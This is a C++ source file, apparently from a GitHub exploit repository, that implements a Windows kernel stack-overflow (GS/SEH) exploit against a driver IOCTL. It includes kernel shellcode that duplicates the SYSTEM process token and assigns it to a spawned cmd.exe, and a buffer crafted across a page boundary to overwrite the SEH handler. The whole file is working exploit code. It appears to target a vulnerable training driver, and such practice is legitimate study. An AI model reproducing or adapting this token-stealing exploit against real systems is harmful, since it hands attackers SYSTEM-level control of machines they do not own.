-
-
Notifications
You must be signed in to change notification settings - Fork 18
/
StackOverflowGS.cpp
331 lines (264 loc) · 7.6 KB
/
StackOverflowGS.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
#include <ntstatus.h>
#include <cassert>
#include "StackOverflowGS.h"
#include "payloads.h"
typeZwClose ZwClose;
typeZwOpenProcess ZwOpenProcess;
typeZwDuplicateToken ZwDuplicateToken;
typeZwOpenProcessToken ZwOpenProcessToken;
typeZwTerminateProcess ZwTerminateProcess;
typeObDerefenceObject ObDereferenceObject;
typePsGetCurrentProcess PsGetCurrentProcess;
typeZwSetInformationProcess ZwSetInformationProcess;
typePsReferencePrimaryToken PsReferencePrimaryToken;
typePsLookupProcessByProcessId PsLookupProcessByProcessId;
DWORD g_dwProcessIdToElevate;
template<typename apiType>
bool resolveApi(DWORD kernelBase, HINSTANCE hKernel, const string& apiName, apiType& apiPtr)
{
static size_t counter = 0;
const wstring apiNameWide = wstring(apiName.begin(), apiName.end());
apiPtr = reinterpret_cast<apiType>(GetProcAddress(
hKernel,
apiName.c_str()
));
if(!apiPtr) {
wcerr << L"[!] Could not get address of: (" << apiNameWide
<< L"). Error: " << getErrorString(GetLastError()) << endl;
return false;
}
apiPtr = reinterpret_cast<apiType>(
(reinterpret_cast<DWORD>(apiPtr) - reinterpret_cast<DWORD>(hKernel)) + kernelBase
);
wcout << L"\tAPI[ " << counter << L"]: " << apiNameWide
<< L" located at: 0x" << setw(8) << setfill(L'0')
<< reinterpret_cast<DWORD>(apiPtr) << endl;
counter ++;
return true;
}
bool
ExploitStackOverflowGS::resolveKernelApis()
{
ULONG kernelModuleBase;
DWORD kernelModuleSize;
wstring kernelModuleName;
tie(kernelModuleBase, kernelModuleSize, kernelModuleName) = driver.GetKernelModuleInfos();
HINSTANCE hKernel = LoadLibraryExW(
kernelModuleName.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
if(!hKernel) {
wcerr << L"[!] Could not load kernel's library (" << kernelModuleName << L"). Error: "
<< getErrorString(GetLastError()) << endl;
return false;
}
wcout << L"[+] Resolving kernel (" << kernelModuleName << L") APIs..." << endl;
if(!resolveApi(kernelModuleBase, hKernel, "ZwClose", ZwClose)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcess", ZwOpenProcess)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ZwDuplicateToken", ZwDuplicateToken)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcessToken", ZwOpenProcessToken)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ZwTerminateProcess", ZwTerminateProcess)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "PsGetCurrentProcess", PsGetCurrentProcess)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ObDereferenceObject", ObDereferenceObject)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "ZwSetInformationProcess", ZwSetInformationProcess)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "PsReferencePrimaryToken", PsReferencePrimaryToken)) return false;
if(!resolveApi(kernelModuleBase, hKernel, "PsLookupProcessByProcessId", PsLookupProcessByProcessId)) return false;
return true;
}
NTSTATUS
ExploitStackOverflowGS::ElevatePrivilegesPayload()
{
#ifdef USE_INT_3_IN_SHELLCODE
asm("int $3");
#endif
OBJECT_ATTRIBUTES ObjectAttributes;
NTSTATUS ntStatus = STATUS_SUCCESS;
PEPROCESS TargetProcess = NULL;
HANDLE hSystem = NULL;
HANDLE hSystemToken = NULL;
HANDLE hNewPrivilegedToken = NULL;
HANDLE hTargetProcess = NULL;
PROCESS_ACCESS_TOKEN AccessToken = { 0 };
CLIENT_ID SystemClientId = {
reinterpret_cast<HANDLE>(4), // SYSTEM process id (PID)
NULL
};
CLIENT_ID TargetClientId = {
reinterpret_cast<HANDLE>(g_dwProcessIdToElevate),
NULL
};
InitializeObjectAttributes(
&ObjectAttributes,
NULL,
0,
NULL,
NULL
);
// Step 1: Open SYSTEM's process
ntStatus = ZwOpenProcess(
&hSystem,
GENERIC_ALL,
&ObjectAttributes,
&SystemClientId
);
if(!NT_SUCCESS(ntStatus)) {
goto err;
}
// Step 2: Get SYSTEM's process Token
ntStatus = ZwOpenProcessToken(
hSystem,
GENERIC_ALL,
&hSystemToken
);
if(!NT_SUCCESS(ntStatus)) {
goto err;
}
InitializeObjectAttributes(
&ObjectAttributes,
NULL,
0,
NULL,
NULL
);
// Step 3: Duplicate SYSTEM's process Token
ntStatus = ZwDuplicateToken(
hSystemToken,
TOKEN_ALL_ACCESS,
&ObjectAttributes,
TRUE,
TokenPrimary,
&hNewPrivilegedToken
);
if(!NT_SUCCESS(ntStatus)) {
goto err;
}
InitializeObjectAttributes(
&ObjectAttributes,
NULL,
0,
NULL,
NULL
);
// Step 4: Open target process
ntStatus = ZwOpenProcess(
&hTargetProcess,
GENERIC_ALL,
&ObjectAttributes,
&TargetClientId
);
if(!NT_SUCCESS(ntStatus)) {
goto err;
}
AccessToken.Token = hNewPrivilegedToken;
#ifdef USE_INT_3_IN_SHELLCODE
asm("int $3");
#endif
// Fix the issue with PrimaryTokenFrozen
ntStatus = PsLookupProcessByProcessId(
reinterpret_cast<HANDLE>(g_dwProcessIdToElevate),
&TargetProcess
);
if(!NT_SUCCESS(ntStatus)) {
goto err;
}
TargetProcess->PrimaryTokenFrozen = 0;
ObDereferenceObject(TargetProcess);
#ifdef USE_INT_3_IN_SHELLCODE
asm("int $3");
#endif
// Step 5: Set duplicated system's token to the target process' token
ntStatus = ZwSetInformationProcess(
hTargetProcess,
ProcessAccessToken,
&AccessToken,
sizeof(PROCESS_ACCESS_TOKEN)
);
err:
if(hNewPrivilegedToken != NULL) {
ZwClose(hNewPrivilegedToken);
}
if(hTargetProcess != NULL) {
ZwClose(hTargetProcess);
}
if(hSystem != NULL) {
ZwClose(hSystem);
}
if(hSystemToken != NULL) {
ZwClose(hSystemToken);
}
#ifdef USE_INT_3_IN_SHELLCODE
asm("int $3");
#endif
ZwTerminateProcess(
GetCurrentProcess(),
STATUS_SUCCESS
);
return ntStatus;
}
bool
ExploitStackOverflowGS::exploit() {
static const size_t Page_Size = 4096;
static const size_t SEH_Overwrite_Offset = 0x210;
if(!resolveKernelApis()) {
return false;
}
assert(ZwClose != nullptr);
auto shellcodePointer = reinterpret_cast<void*>(
ExploitStackOverflowGS::ElevatePrivilegesPayload
);
wcout << L"[+] The Kernel shellcode is located at: " << setw(8)
<< setfill(L'0') << hex << shellcodePointer << endl;
wcout << L"[+] Step 1: Create anonymous file mapping" << endl;
HANDLE mapping = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
Page_Size,
NULL
);
if(!mapping) {
wcerr << L"[!] Could not create anonymous file mapping! Error: 0x" << hex
<< setw(8) << setfill(L'0') << GetLastError() << endl;
return false;
}
wcout << L"[+] Step 2: Mapping view of file" << endl;
LPVOID mappedRegion = MapViewOfFile(
mapping,
FILE_MAP_ALL_ACCESS,
0,
0,
Page_Size
);
if(!mappedRegion) {
wcerr << L"[!] Could not map view of file! Error: 0x" << hex
<< setw(8) << setfill(L'0') << GetLastError() << endl;
CloseHandle(mapping);
return false;
}
PVOID bufferPointer = reinterpret_cast<PVOID>(
reinterpret_cast<ULONG>(mappedRegion) +
(static_cast<ULONG>(Page_Size - SEH_Overwrite_Offset - 4))
);
wcout << L"\tFile mapping region at: " << hex << setw(8) << setfill(L'0') << mappedRegion
<< L"\n\tAttacker prepared buffer at: " << hex << setw(8) << setfill(L'0')
<< bufferPointer << endl;
memset(bufferPointer, 'A', SEH_Overwrite_Offset);
*(reinterpret_cast<DWORD*>(
&reinterpret_cast<unsigned char*>(bufferPointer)[SEH_Overwrite_Offset]
)) = reinterpret_cast<DWORD>(shellcodePointer);
g_dwProcessIdToElevate = spawnProcessAndGetPID(L"C:\\Windows\\system32\\cmd.exe");
if(!g_dwProcessIdToElevate) {
return false;
}
wcout << L"[+] The process' PID to be eleveated: " << dec << g_dwProcessIdToElevate << endl;
Sleep(1000);
bool ret = driver.SendIOCTL (
ExploitStackOverflowGS::Ioctl_Code,
bufferPointer,
SEH_Overwrite_Offset + 8
);
CloseHandle(mapping);
return ret;
}